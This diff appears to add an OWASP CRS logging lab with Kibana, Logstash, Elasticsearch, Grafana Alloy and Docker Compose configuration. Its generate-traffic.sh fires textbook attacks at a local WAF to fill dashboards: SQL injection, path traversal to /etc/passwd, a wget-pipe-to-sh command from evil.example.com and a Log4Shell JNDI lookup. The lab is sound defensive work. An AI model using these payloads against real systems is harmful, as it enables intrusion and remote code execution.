\"9.5.5\", \"type\": \"lens\", \"gridData\": {\"x\": 24, \"y\": 44, \"w\": 24, \"h\": 12, \"i\": \"p-score-time\"}, \"panelIndex\": \"p-score-time\", \"title\": \"Highest inbound score per interval: blocking PL vs. detection PL\", \"embeddableConfig\": {\"attributes\": {\"title\": \"Highest inbound score per interval: blocking PL vs. detection PL\", \"visualizationType\": \"lnsXY\", \"type\": \"lens\", \"references\": [{\"type\": \"index-pattern\", \"id\": \"crs-modsec-audit\", \"name\": \"indexpattern-datasource-layer-layer-p-score-time\"}], \"state\": {\"visualization\": {\"legend\": {\"isVisible\": true, \"position\": \"right\"}, \"valueLabels\": \"hide\", \"fittingFunction\": \"None\", \"axisTitlesVisibilitySettings\": {\"x\": false, \"yLeft\": false, \"yRight\": true}, \"tickLabelsVisibilitySettings\": {\"x\": true, \"yLeft\": true, \"yRight\": true}, \"labelsOrientation\": {\"x\": 0, \"yLeft\": 0, \"yRight\": 0}, \"gridlinesVisibilitySettings\": {\"x\": true, \"yLeft\": true, \"yRight\": true}, \"preferredSeriesType\": \"line\", \"layers\": [{\"layerId\": \"layer-p-score-time\", \"layerType\": \"data\", \"seriesType\": \"line\", \"accessors\": [\"b\", \"d\"], \"xAccessor\": \"x\", \"position\": \"top\", \"showGridlines\": false}]}, \"query\": {\"query\": \"\", \"language\": \"kuery\"}, \"filters\": [], \"datasourceStates\": {\"formBased\": {\"layers\": {\"layer-p-score-time\": {\"columns\": {\"x\": {\"label\": \"@timestamp\", \"dataType\": \"date\", \"operationType\": \"date_histogram\", \"sourceField\": \"@timestamp\", \"isBucketed\": true, \"scale\": \"interval\", \"params\": {\"interval\": \"auto\", \"includeEmptyRows\": true, \"dropPartials\": false}}, \"b\": {\"label\": \"Blocking PL score\", \"customLabel\": true, \"dataType\": \"number\", \"operationType\": \"max\", \"sourceField\": \"modsec.anomaly.inbound_blocking\", \"isBucketed\": false, \"scale\": \"ratio\", \"params\": {\"emptyAsNull\": true}}, \"d\": {\"label\": \"Detection PL score\", \"customLabel\": true, \"dataType\": \"number\", \"operationType\": \"max\", \"sourceField\": \"modsec.anomaly.inbound_detection\", \"isBucketed\": false, \"scale\": \"ratio\", \"params\": {\"emptyAsNull\": true}}}, \"columnOrder\": [\"x\", \"b\", \"d\"], \"incompleteColumns\": {}, \"sampling\": 1}}}}, \"internalReferences\": [], \"adHocDataViews\": {}}}, \"enhancements\": {}}}, {\"version\": \"9.5.5\", \"type\": \"search\", \"gridData\": {\"x\": 0, \"y\": 56, \"w\": 48, \"h\": 18, \"i\": \"crs-modsec-transactions\"}, \"panelIndex\": \"crs-modsec-transactions\", \"title\": \"Transactions\", \"embeddableConfig\": {\"enhancements\": {}}, \"panelRefName\": \"panel_crs-modsec-transactions\"}]", "optionsJSON": "{\"useMargins\": true, \"syncColors\": false, \"syncCursor\": true, \"syncTooltips\": false, \"hidePanelTitles\": false}", "timeRestore": true, "timeFrom": "now-24h", "timeTo": "now", "refreshInterval": {"pause": false, "value": 30000}, "version": 1, "kibanaSavedObjectMeta": {"searchSourceJSON": "{\"query\": {\"query\": \"\", \"language\": \"kuery\"}, \"filter\": []}"}}, "references": [{"name": "crs-modsec-transactions:panel_crs-modsec-transactions", "type": "search", "id": "crs-modsec-transactions"}, {"name": "p-total:indexpattern-datasource-layer-layer-p-total", "type": "index-pattern", "id": "crs-modsec-audit"}, {"name": "p-blocked:indexpattern-datasource-layer-layer-p-blocked", "type": "index-pattern", "id": "crs-modsec-audit"}, {"name": "p-alerts:indexpattern-datasource-layer-layer-p-alerts", "type": "index-pattern", "id": "crs-modsec-audit"}, {"name": "p-clients:indexpattern-datasource-layer-layer-p-clients", "type": "index-pattern", "id": "crs-modsec-audit"}, {"name": "p-timeline:indexpattern-datasource-layer-layer-p-timeline", "type": "index-pattern", "id": "crs-modsec-audit"}, {"name": "p-attack:indexpattern-datasource-layer-layer-p-attack", "type": "index-pattern", "id": "crs-modsec-audit"}, {"name": "p-rules:indexpattern-datasource-layer-layer-p-rules", "type": "index-pattern", "id": "crs-modsec-audit"}, {"name": "p-urls:indexpattern-datasource-layer-layer-p-urls", "type": "index-pattern", "id": "crs-modsec-audit"}, {"name": "p-clients-bar:indexpattern-datasource-layer-layer-p-clients-bar", "type": "index-pattern", "id": "crs-modsec-audit"}, {"name": "p-pl:indexpattern-datasource-layer-layer-p-pl", "type": "index-pattern", "id": "crs-modsec-audit"}, {"name": "p-sev:indexpattern-datasource-layer-layer-p-sev", "type": "index-pattern", "id": "crs-modsec-audit"}, {"name": "p-score-hist:indexpattern-datasource-layer-layer-p-score-hist", "type": "index-pattern", "id": "crs-modsec-audit"}, {"name": "p-score-time:indexpattern-datasource-layer-layer-p-score-time", "type": "index-pattern", "id": "crs-modsec-audit"}], "managed": false, "coreMigrationVersion": "8.8.0", "typeMigrationVersion": "10.3.0"} diff --git a/examples/crs-logging/elk/logstash/pipeline/modsec-audit.conf b/examples/crs-logging/elk/logstash/pipeline/modsec-audit.conf new file mode 100644 index 00000000..b0353690 --- /dev/null +++ b/examples/crs-logging/elk/logstash/pipeline/modsec-audit.conf @@ -0,0 +1,55 @@ +# Logstash pipeline: ModSecurity v3 JSON audit log -> Elasticsearch +# +# Each line of the audit log is one JSON document describing one +# transaction. We keep the original document under `transaction` and add +# flat, dashboard friendly fields under `modsec`, `client`, `url`, `http` +# and `user_agent` (loosely following the Elastic Common Schema). + +input { + file { + path => "/var/log/modsecurity/audit/modsec_audit.log" + start_position => "beginning" + sincedb_path => "/usr/share/logstash/data/sincedb-modsec-audit" + codec => "json" + tags => ["modsec-audit"] + } +} + +filter { + # Lines that are not JSON (should not happen) are tagged _jsonparsefailure + # by the codec; drop them rather than indexing garbage. + if "_jsonparsefailure" in [tags] { + drop { } + } + + # ModSecurity writes the transaction time in ctime format, in the local + # time of the WAF process. The official container runs in UTC. + date { + match => ["[transaction][time_stamp]", "EEE MMM dd HH:mm:ss yyyy", "EEE MMM d HH:mm:ss yyyy"] + timezone => "UTC" + target => "@timestamp" + } + + # All the flattening logic lives in a small Ruby script so that it stays + # readable; see scripts/modsec_flatten.rb. + ruby { + path => "/usr/share/logstash/scripts/modsec_flatten.rb" + } + + mutate { + remove_field => ["@version", "host", "path", "event"] + } +} + +output { + elasticsearch { + hosts => ["http://elasticsearch:9200"] + index => "modsec-audit-%{+YYYY.MM.dd}" + data_stream => false + manage_template => true + template => "/usr/share/logstash/templates/modsec-audit.json" + template_name => "modsec-audit" + template_overwrite => true + ecs_compatibility => disabled + } +} diff --git a/examples/crs-logging/elk/logstash/scripts/modsec_flatten.rb b/examples/crs-logging/elk/logstash/scripts/modsec_flatten.rb new file mode 100644 index 00000000..20ac8594 --- /dev/null +++ b/examples/crs-logging/elk/logstash/scripts/modsec_flatten.rb @@ -0,0 +1,163 @@ +# Logstash Ruby filter script: flatten a ModSecurity v3 JSON audit log +# entry into fields that are easy to aggregate in Kibana. +# +# Input: event["transaction"] as written by libmodsecurity (SecAuditLogFormat JSON) +# Output: the same event with modsec.*, client.*, url.*, http.*, user_agent.* +# +# Loaded via: ruby { path => "/usr/share/logstash/scripts/modsec_flatten.rb" } + +SEVERITY_NAMES = { + "0" => "EMERGENCY", "1" => "ALERT", "2" => "CRITICAL", "3" => "ERROR", + "4" => "WARNING", "5" => "NOTICE", "6" => "INFO", "7" => "DEBUG", +}.freeze +SEVERITY_ORDER = SEVERITY_NAMES.values.freeze + +# Tag used by the summary rule in waf/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf +SUMMARY_TAG = "crs-summary".freeze + +# Keys of the summary line that are plain integers +SUMMARY_INT_KEYS = %w[ + inbound_blocking inbound_detection inbound_threshold + outbound_blocking outbound_detection outbound_threshold + sqli xss rfi lfi rce phpi http sess +].freeze + +def register(params) +end + +def header(headers, name) + return nil unless headers.is_a?(Hash) + key = headers.keys.find { |k| k.to_s.casecmp(name).zero? } + key ? headers[key] : nil +end + +def filter(event) + tx = event.get("[transaction]") + return [event] unless tx.is_a?(Hash) + + req = tx["request"] || {} + resp = tx["response"] || {} + headers = req["headers"] || {} + + # --- Transaction level ------------------------------------------------- + event.set("[modsec][unique_id]", tx["unique_id"]) + event.set("[modsec][blocked]", tx["is_interrupted"] == true) + event.set("[client][ip]", tx["client_ip"]) + event.set("[client][port]", tx["client_port"]) + event.set("[server][ip]", tx["host_ip"]) + event.set("[server][port]", tx["host_port"]) + + event.set("[http][request][method]", req["method"]) + event.set("[http][version]", req["http_version"]) + event.set("[http][response][status_code]", resp["http_code"]) + + uri = req["uri"].to_s + path, query = uri.split("?", 2) + event.set("[url][original]", uri) + event.set("[url][path]", path) + event.set("[url][query]", query) if query + event.set("[url][domain]", req["hostname"]) if req["hostname"] + + ua = header(headers, "User-Agent") + event.set("[user_agent][original]", ua) if ua + referer = header(headers, "Referer") + event.set("[http][request][referrer]", referer) if referer + ctype = header(headers, "Content-Type") + event.set("[http][request][content_type]", ctype) if ctype + + producer = tx["producer"] || {} + event.set("[modsec][engine]", producer["modsecurity"]) + event.set("[modsec][connector]", producer["connector"]) + crs = (producer["components"] || []).map(&:to_s).find { |c| c.start_with?("OWASP_CRS/") } + event.set("[modsec][crs_version]", crs.delete('"')) if crs + + # --- Rule matches ------------------------------------------------------ + ids, msgs, sevs, tags, files, data, attacks, pls, matches = [], [], [], [], [], [], [], [], [] + summary = nil + fallback_inbound = nil + + (tx["messages"] || []).each do |m| + d = m["details"] || {} + mtags = d["tags"] || [] + + # The summary rule is not an alert, it is metadata about the transaction. + if mtags.include?(SUMMARY_TAG) + summary = m["message"].to_s + next + end + + id = d["ruleId"].to_s + sev = SEVERITY_NAMES[d["severity"].to_s] || d["severity"].to_s + msg = m["message"].to_s + + matches << { + "id" => id, "msg" => msg, "severity" => sev, "data" => d["data"], + "file" => File.basename(d["file"].to_s), "line" => d["lineNumber"], "tags" => mtags, + } + + # The blocking evaluation rules (949xxx inbound, 959xxx outbound) and the + # correlation rules (980xxx) are not detections, they are the verdict. + # Keep them in `matches`, but leave them out of the per-rule statistics + # so that "top rules" and "severity" charts show real detections. + if id.start_with?("949", "959", "980") + score = msg[/Total Score: (\d+)/, 1] + fallback_inbound = score.to_i if score && id.start_with?("949") + next + end + + ids << id + msgs << msg + sevs << sev + files << File.basename(d["file"].to_s) + data << d["data"] unless d["data"].to_s.empty? + tags.concat(mtags) + mtags.each do |t| + attacks << t.sub("attack-", "") if t.start_with?("attack-") + pls << t.split("/").last if t.start_with?("paranoia-level/") + end + + end + + event.set("[modsec][rule][ids]", ids.uniq) + event.set("[modsec][rule][messages]", msgs.uniq) + event.set("[modsec][rule][severities]", sevs.uniq) + event.set("[modsec][rule][tags]", tags.uniq) + event.set("[modsec][rule][files]", files.uniq) + event.set("[modsec][rule][data]", data) + event.set("[modsec][rule][count]", ids.size) + event.set("[modsec][attack]", attacks.uniq) + event.set("[modsec][paranoia_level]", pls.uniq.sort) + event.set("[modsec][matches]", matches) + + top = sevs.min_by { |s| SEVERITY_ORDER.index(s) || 99 } + event.set("[modsec][rule][top_severity]", top) if top + + # --- Anomaly scores ---------------------------------------------------- + if summary + summary.scan(/(\w+)=([\w.-]+)/).each do |key, value| + case key + when *SUMMARY_INT_KEYS + event.set("[modsec][anomaly][#{key}]", value.to_i) + when "inbound_pl" + value.split("-").each_with_index do |v, i| + event.set("[modsec][anomaly][inbound_pl#{i + 1}]", v.to_i) + end + when "blocking_pl" + event.set("[modsec][paranoia][blocking]", value.to_i) + when "detection_pl" + event.set("[modsec][paranoia][detection]", value.to_i) + end + end + event.set("[modsec][anomaly][source]", "summary-rule") + elsif fallback_inbound + # No summary rule installed: at least record the score that blocked. + event.set("[modsec][anomaly][inbound_blocking]", fallback_inbound) + event.set("[modsec][anomaly][source]", "blocking-rule") + end + + # The response body is either the block page or the backend's answer. + # Neither belongs in a log index. + event.remove("[transaction][response][body]") + + [event] +end diff --git a/examples/crs-logging/elk/logstash/templates/modsec-audit.json b/examples/crs-logging/elk/logstash/templates/modsec-audit.json new file mode 100644 index 00000000..3d82d242 --- /dev/null +++ b/examples/crs-logging/elk/logstash/templates/modsec-audit.json @@ -0,0 +1,150 @@ +{ + "index_patterns": ["modsec-audit-*"], + "priority": 200, + "template": { + "settings": { + "number_of_shards": 1, + "number_of_replicas": 0, + "index.mapping.total_fields.limit": 2000 + }, + "mappings": { + "dynamic": true, + "dynamic_templates": [ + { + "strings_as_keywords": { + "match_mapping_type": "string", + "mapping": { "type": "keyword", "ignore_above": 1024 } + } + } + ], + "properties": { + "@timestamp": { "type": "date" }, + "tags": { "type": "keyword" }, + + "client": { + "properties": { + "ip": { "type": "ip" }, + "port": { "type": "integer" } + } + }, + "server": { + "properties": { + "ip": { "type": "ip" }, + "port": { "type": "integer" } + } + }, + "http": { + "properties": { + "version": { "type": "keyword" }, + "request": { + "properties": { + "method": { "type": "keyword" }, + "referrer": { "type": "keyword", "ignore_above": 2048 }, + "content_type": { "type": "keyword" } + } + }, + "response": { + "properties": { + "status_code": { "type": "integer" } + } + } + } + }, + "url": { + "properties": { + "original": { "type": "keyword", "ignore_above": 4096 }, + "path": { "type": "keyword", "ignore_above": 2048 }, + "query": { "type": "keyword", "ignore_above": 4096 }, + "domain": { "type": "keyword" } + } + }, + "user_agent": { + "properties": { + "original": { "type": "keyword", "ignore_above": 1024 } + } + }, + + "modsec": { + "properties": { + "unique_id": { "type": "keyword" }, + "blocked": { "type": "boolean" }, + "engine": { "type": "keyword" }, + "connector": { "type": "keyword" }, + "crs_version": { "type": "keyword" }, + "attack": { "type": "keyword" }, + "paranoia_level": { "type": "keyword" }, + "rule": { + "properties": { + "ids": { "type": "keyword" }, + "messages": { "type": "keyword", "ignore_above": 512 }, + "severities": { "type": "keyword" }, + "top_severity": { "type": "keyword" }, + "tags": { "type": "keyword" }, + "files": { "type": "keyword" }, + "data": { "type": "text" }, + "count": { "type": "integer" } + } + }, + "anomaly": { + "properties": { + "source": { "type": "keyword" }, + "inbound_blocking": { "type": "integer" }, + "inbound_detection": { "type": "integer" }, + "inbound_threshold": { "type": "integer" }, + "inbound_pl1": { "type": "integer" }, + "inbound_pl2": { "type": "integer" }, + "inbound_pl3": { "type": "integer" }, + "inbound_pl4": { "type": "integer" }, + "outbound_blocking": { "type": "integer" }, + "outbound_detection": { "type": "integer" }, + "outbound_threshold": { "type": "integer" }, + "sqli": { "type": "integer" }, + "xss": { "type": "integer" }, + "rfi": { "type": "integer" }, + "lfi": { "type": "integer" }, + "rce": { "type": "integer" }, + "phpi": { "type": "integer" }, + "http": { "type": "integer" }, + "sess": { "type": "integer" } + } + }, + "paranoia": { + "properties": { + "blocking": { "type": "integer" }, + "detection": { "type": "integer" } + } + }, + "matches": { "type": "object", "enabled": false } + } + }, + + "transaction": { + "properties": { + "client_ip": { "type": "ip" }, + "unique_id": { "type": "keyword" }, + "time_stamp": { "type": "keyword" }, + "is_interrupted": { "type": "boolean" }, + "request": { + "properties": { + "method": { "type": "keyword" }, + "uri": { "type": "keyword", "ignore_above": 4096 }, + "hostname": { "type": "keyword" }, + "http_version": { "type": "keyword" }, + "body": { "type": "text" }, + "headers": { "type": "flattened" } + } + }, + "response": { + "properties": { + "http_code": { "type": "integer" }, + "headers": { "type": "flattened" } + } + }, + "producer": { "type": "object", "enabled": false }, + "messages": { "type": "object", "enabled": false } + } + } + } + } + } +} diff --git a/examples/crs-logging/generate-traffic.sh b/examples/crs-logging/generate-traffic.sh new file mode 100755 index 00000000..7cf0efe2 --- /dev/null +++ b/examples/crs-logging/generate-traffic.sh @@ -0,0 +1,106 @@ +#!/usr/bin/env bash +# +# Generate a mix of legitimate and malicious HTTP requests against a CRS +# protected endpoint, so that the dashboards have something to show. +# +# Usage: +# ./generate-traffic.sh [COUNT] +# +# Environment: +# TARGET base URL of the WAF (default: http://localhost:8080) +# DELAY seconds to sleep between calls (default: 0.2) +# ATTACK_RATIO percentage of malicious requests (default: 30) +# +# Nothing here is exotic: every payload is a textbook example that CRS at +# paranoia level 1 or 2 is expected to flag. The point is not to bypass the +# WAF, it is to produce a realistic looking log stream. + +set -euo pipefail + +TARGET="${TARGET:-http://localhost:8080}" +DELAY="${DELAY:-0.2}" +ATTACK_RATIO="${ATTACK_RATIO:-30}" +COUNT="${1:-200}" + +# A handful of fake client addresses, sent as X-Forwarded-For. The sample +# stacks trust that header from private address ranges (see +# waf/nginx-realip.conf for ModSecurity, grafana-loki/coraza/Caddyfile for +# Coraza), so these show up as the client addresses in the logs. In +# production, trust it only from your own load balancers. +CLIENTS=(203.0.113.10 203.0.113.11 203.0.113.42 198.51.100.7 198.51.100.23 192.0.2.99) +BROWSERS=( + "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0 Safari/537.36" + "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15" + "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0" + "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148 Safari/604.1" +) + +# Print one of the arguments at random (works with the bash 3.2 that ships +# with macOS, which has no namerefs). +pick() { local items=("$@"); echo "${items[$((RANDOM % ${#items[@]}))]}"; } + +# request LABEL METHOD PATH [curl args...] +request() { + local label="$1" method="$2" path="$3" + shift 3 + local code + code=$(curl -s -o /dev/null -w '%{http_code}' -X "$method" \ + -H "X-Forwarded-For: $(pick "${CLIENTS[@]}")" \ + -A "$(pick "${BROWSERS[@]}")" \ + "$@" "${TARGET}${path}" || true) # curl already prints 000 on failure + printf '%-22s %s %-6s %s\n' "[$label]" "$code" "$method" "$path" +} + +legit() { + case $((RANDOM % 10)) in + 0) request legit GET "/" ;; + 1) request legit GET "/api/users?id=$((RANDOM % 500))" ;; + 2) request legit GET "/search?q=open+source+waf" ;; + 3) request legit GET "/products?category=books&page=$((RANDOM % 9 + 1))" ;; + 4) request legit POST "/api/login" -H "Content-Type: application/json" \ + --data '{"user":"alice","password":"correct horse battery staple"}' ;; + 5) request legit GET "/blog/2026/logging-with-crs" ;; + 6) request legit GET "/static/app.js" ;; + 7) request legit GET "/health" ;; + # Legitimate, but CRS blocks it out of the box: PUT is not in the + # default list of allowed methods (rule 911100). A classic false + # positive, left in on purpose so that it shows up in the dashboards. + 8) request legit-put PUT "/api/profile/42" -H "Content-Type: application/json" \ + --data '{"name":"Alice","bio":"I like it when the WAF stays quiet."}' ;; + 9) request legit GET "/docs/getting-started?lang=en" ;; + esac +} + +attack() { + case $((RANDOM % 19)) in + 0) request sqli-libinjection GET "/products?id=1%27%20OR%201%3D1--" ;; + 1) request sqli-union GET "/products?id=1%27%20UNION%20SELECT%20username%2Cpassword%20FROM%20users--" ;; + 2) request sqli-comment-pl2 GET "/products?id=1%2F*%2150000union*%2Fselect%201" ;; + 3) request xss-script GET "/search?q=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E" ;; + 4) request xss-onerror POST "/comment" --data "text=" ;; + 5) request lfi GET "/download?file=../../../../etc/passwd" ;; + 6) request rfi GET "/index.php?page=http://evil.example.com/shell.txt" ;; + 7) request rce GET "/ping?host=127.0.0.1%3Bcat%20%2Fetc%2Fpasswd" ;; + 8) request rce-wget GET "/cgi-bin/test?cmd=wget%20http%3A%2F%2Fevil.example.com%2Fx.sh%7Csh" ;; + 9) request php-injection POST "/upload" --data "data=" ;; + 10) request scanner-nikto GET "/" -A "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:Port Check)" ;; + 11) request scanner-sqlmap GET "/products?id=1" -A "sqlmap/1.8.4#stable (https://sqlmap.org)" ;; + 12) request java-log4shell GET "/?x=%24%7Bjndi%3Aldap%3A%2F%2Fevil.example.com%2Fa%7D" \ + -H "User-Agent: \${jndi:ldap://evil.example.com/a}" ;; + 13) request protocol-numeric-host GET "/" -H "Host: 127.0.0.1" ;; + 14) request protocol-method TRACE "/" ;; + 15) request protocol-content-type POST "/api/login" -H "Content-Type: application/x-shockwave-flash" --data "x=1" ;; + 16) request restricted-file GET "/.git/config" ;; + 17) request session-fixation GET "/login?PHPSESSID=abc123def456" -H "Referer: http://evil.example.com/" ;; + # Only scores at paranoia level 2 (rule 920300, 2 points): with blocking + # at PL1 and detection at PL2 this is logged but never blocked. + 18) request missing-accept-pl2 GET "/api/users?id=7" -H "Accept:" ;; + esac +} + +echo "Sending ${COUNT} requests to ${TARGET} (${ATTACK_RATIO}% malicious)..." +for ((i = 1; i <= COUNT; i++)); do + if (( RANDOM % 100 < ATTACK_RATIO )); then attack; else legit; fi + sleep "$DELAY" +done +echo "Done." diff --git a/examples/crs-logging/grafana-loki/alloy/config.alloy b/examples/crs-logging/grafana-loki/alloy/config.alloy new file mode 100644 index 00000000..620dd117 --- /dev/null +++ b/examples/crs-logging/grafana-loki/alloy/config.alloy @@ -0,0 +1,233 @@ +// Grafana Alloy pipeline for OWASP CRS / Coraza logs. +// +// Two sources, two streams: +// +// job="waf-alerts" one line per rule match, from Caddy's log +// job="waf-audit" one JSON document per transaction, from the audit log +// +// Both carry the Coraza transaction ID (unique_id), so you can jump from an +// alert to the full transaction that produced it. + +// ------------------------------------------------------------------------ +// 1. Per-rule alerts from Caddy's log +// ------------------------------------------------------------------------ + +local.file_match "waf_alerts" { + path_targets = [{ + __path__ = "/var/log/coraza/caddy.log", + job = "waf-alerts", + }] +} + +loki.source.file "waf_alerts" { + targets = local.file_match.waf_alerts.targets + forward_to = [loki.process.waf_alerts.receiver] +} + +loki.process "waf_alerts" { + // Caddy writes one JSON object per line. Coraza's messages come from the + // "http.handlers.waf" logger; everything else is Caddy housekeeping. + stage.json { + expressions = { + ts = "ts", + logger = "logger", + alert = "msg", + } + } + + stage.match { + selector = "{job=\"waf-alerts\"} != \"http.handlers.waf\"" + action = "drop" + } + + // The WAF logger also reports its own housekeeping (deprecation notices + // and the like); keep only rule matches and blocking decisions. + stage.match { + selector = "{job=\"waf-alerts\"} != \"Coraza: \"" + action = "drop" + } + + stage.timestamp { + source = "ts" + format = "RFC3339Nano" + } + + // From here on the log line is the Coraza alert itself, which is the + // same bracketed format ModSecurity uses. + stage.output { + source = "alert" + } + + // "Warning" is a rule match, "Access denied" is the blocking decision. + stage.regex { + expression = "^\\[client \\\"(?P[^\\\"]*)\\\"\\] Coraza: (?PWarning|Access denied)" + } + + // The bracketed key/value pairs every alert carries. One regex per field + // keeps them independent: a field missing on a line simply stays empty. + stage.regex { + expression = "\\[id \\\"(?P\\d+)\\\"\\]" + } + + stage.regex { + expression = "\\[msg \\\"(?P[^\\\"]*)\\\"\\]" + } + + stage.regex { + expression = "\\[data \\\"(?P[^\\\"]*)\\\"\\]" + } + + // Coraza writes the severity as a word ("critical"); "unknown" for rules + // without one, such as the blocking evaluation and our summary. + stage.regex { + expression = "\\[severity \\\"(?P[a-z]+)\\\"\\]" + } + + // CRS tags: the attack-* tag is the attack category, and the + // paranoia-level/N tag tells you which level the rule belongs to. + stage.regex { + expression = "\\[tag \\\"attack-(?P[^\\\"]+)\\\"\\]" + } + + stage.regex { + expression = "\\[tag \\\"paranoia-level/(?P\\d)\\\"\\]" + } + + // Coraza's [uri] includes the query string (ModSecurity's is the path + // only), so keep both: uri for reading, path for grouping. + stage.regex { + expression = "\\[uri \\\"(?P(?P[^\\\"?]*)[^\\\"]*)\\\"\\]" + } + + stage.regex { + expression = "\\[unique_id \\\"(?P[^\\\"]*)\\\"\\]" + } + + // Blocking rule 949110: "Inbound Anomaly Score Exceeded (Total Score: 5)" + stage.regex { + expression = "Total Score: (?P\\d+)" + } + + // Our summary rule 99901 (see ../../waf/) + stage.regex { + expression = "inbound_blocking=(?P\\d+) inbound_detection=(?P\\d+) inbound_pl=(?P\\d+)-(?P\\d+)-(?P\\d+)-(?P\\d+) inbound_threshold=(?P\\d+) outbound_blocking=(?P\\d+) outbound_detection=(?P\\d+)" + } + + // Classify the line: alert (a rule matched), block (the request was + // denied), summary (our phase 5 score summary) or report (CRS's own + // score report, rule 980170, which Coraza does log). + stage.template { + source = "event" + template = "{{ if eq .kind \"Access denied\" }}block{{ else if eq .rule_id \"99901\" }}summary{{ else if eq .rule_id \"980170\" }}report{{ else }}alert{{ end }}" + } + + stage.template { + source = "severity" + template = "{{ if and .severity_word (ne .severity_word \"unknown\") }}{{ ToUpper .severity_word }}{{ end }}" + } + + // Labels: low cardinality only. There are a few hundred CRS rule IDs, + // which is fine for a lab; on a busy production WAF consider moving + // rule_id to structured metadata as well. + stage.labels { + values = { + event = "", + rule_id = "", + attack = "", + paranoia_level = "", + severity = "", + } + } + + // Everything else travels as structured metadata: queryable, but it + // does not create new streams. + stage.structured_metadata { + values = { + msg = "", + data = "", + uri = "", + path = "", + unique_id = "", + client_ip = "", + total_score = "", + inbound_blocking = "", + inbound_detection = "", + inbound_threshold = "", + outbound_blocking = "", + outbound_detection = "", + pl1 = "", + pl2 = "", + pl3 = "", + pl4 = "", + } + } + + forward_to = [loki.write.default.receiver] +} + +// ------------------------------------------------------------------------ +// 2. Full transactions from the JSON audit log +// ------------------------------------------------------------------------ + +local.file_match "waf_audit" { + path_targets = [{ + __path__ = "/var/log/coraza/audit.log", + job = "waf-audit", + }] +} + +loki.source.file "waf_audit" { + targets = local.file_match.waf_audit.targets + forward_to = [loki.process.waf_audit.receiver] +} + +loki.process "waf_audit" { + stage.json { + expressions = { + ts = "transaction.timestamp", + unique_id = "transaction.id", + client_ip = "transaction.client_ip", + method = "transaction.request.method", + uri = "transaction.request.uri", + status = "transaction.response.status", + blocked = "transaction.is_interrupted", + } + } + + // e.g. "2026/10/23 15:51:57", in the WAF's time zone (UTC in the image) + stage.timestamp { + source = "ts" + format = "2006/01/02 15:04:05" + location = "UTC" + } + + // Coraza reports status 0 for a transaction it interrupted (the 403 is + // written by Caddy afterwards), so "blocked" is the field to group by. + stage.labels { + values = { + blocked = "", + method = "", + } + } + + stage.structured_metadata { + values = { + unique_id = "", + client_ip = "", + uri = "", + status = "", + } + } + + forward_to = [loki.write.default.receiver] +} + +// ------------------------------------------------------------------------ +// 3. Ship to Loki +// ------------------------------------------------------------------------ + +loki.write "default" { + endpoint { + url = "http://loki:3100/loki/api/v1/push" + } +} diff --git a/examples/crs-logging/grafana-loki/compose.yaml b/examples/crs-logging/grafana-loki/compose.yaml new file mode 100644 index 00000000..83be1aaf --- /dev/null +++ b/examples/crs-logging/grafana-loki/compose.yaml @@ -0,0 +1,103 @@ +# OWASP CRS logging series, part 3: Coraza + CRS logs in Grafana + Loki +# +# docker compose up -d +# ../generate-traffic.sh 300 +# open http://localhost:3000/dashboards +# +# Needs about 1 GB of free memory. Grafana runs without a login on purpose: +# this is a lab, not a deployment. Every port is published on 127.0.0.1 +# only; set BIND_ADDR (for example to a Tailscale or LAN address) to reach +# the stack from another machine. + +name: crs-grafana-loki + +services: + # --------------------------------------------------------------------- + # The WAF: Caddy + Coraza + OWASP CRS, from the CRS project's Coraza image. + # --------------------------------------------------------------------- + waf: + image: ghcr.io/coreruleset/coraza-crs:4.30.0-caddy-alpine-202610110510 + ports: + - "${BIND_ADDR:-127.0.0.1}:${WAF_PORT:-8080}:8080" + environment: + # Block at PL1, but evaluate (and log) the PL2 rules as well. + BLOCKING_PARANOIA: "1" + DETECTION_PARANOIA: "2" + # Audit log: one JSON document per relevant transaction. + CORAZA_AUDIT_ENGINE: RelevantOnly + CORAZA_AUDIT_LOG_FORMAT: JSON + CORAZA_AUDIT_LOG_TYPE: Serial + CORAZA_AUDIT_LOG: /var/log/coraza/audit.log + # Request headers and body, response headers, matched rules. No part E + # (response body): it is either the block page or the application's + # answer, which can contain personal data. + CORAZA_AUDIT_LOG_PARTS: ABIJFHZ + volumes: + - waf-logs:/var/log/coraza + # Replaces the generated Caddyfile: log to a file, trust X-Forwarded-For + # from the lab network (see coraza/Caddyfile). + - ./coraza/Caddyfile:/config/caddy/Caddyfile:ro + # The per-transaction score summary rule, shared with Part 2 (see ../waf/). + - ../waf/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf:/opt/coraza/rules.d/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf:ro + # Audit log every transaction that scored, like ModSecurity does. + - ./coraza/audit-relevant.conf:/opt/coraza/rules.d/audit-relevant.conf:ro + depends_on: + - backend + + # A tiny backend that echoes the request it received. + backend: + image: traefik/whoami:v1.12.0 + + # --------------------------------------------------------------------- + # Grafana stack + # --------------------------------------------------------------------- + loki: + image: grafana/loki:3.7.9 + command: -config.file=/etc/loki/loki-config.yaml + volumes: + - ./loki/loki-config.yaml:/etc/loki/loki-config.yaml:ro + - loki-data:/loki + ports: + - "${BIND_ADDR:-127.0.0.1}:3100:3100" + # No healthcheck: the Loki image is distroless (no shell, no wget). + # Alloy and Grafana both retry until Loki answers. + + # Alloy tails the two WAF log files, parses them and pushes to Loki. + alloy: + image: grafana/alloy:v1.21.1 + command: + - run + - --server.http.listen-addr=0.0.0.0:12345 + - --storage.path=/var/lib/alloy/data + - /etc/alloy/config.alloy + volumes: + - ./alloy/config.alloy:/etc/alloy/config.alloy:ro + - waf-logs:/var/log/coraza:ro + - alloy-data:/var/lib/alloy/data + ports: + - "${BIND_ADDR:-127.0.0.1}:12345:12345" # Alloy's debugging UI + depends_on: + - loki + + grafana: + image: grafana/grafana:13.2.4 + environment: + GF_AUTH_ANONYMOUS_ENABLED: "true" + GF_AUTH_ANONYMOUS_ORG_ROLE: Admin + GF_AUTH_DISABLE_LOGIN_FORM: "true" + GF_ANALYTICS_REPORTING_ENABLED: "false" + GF_NEWS_NEWS_FEED_ENABLED: "false" + 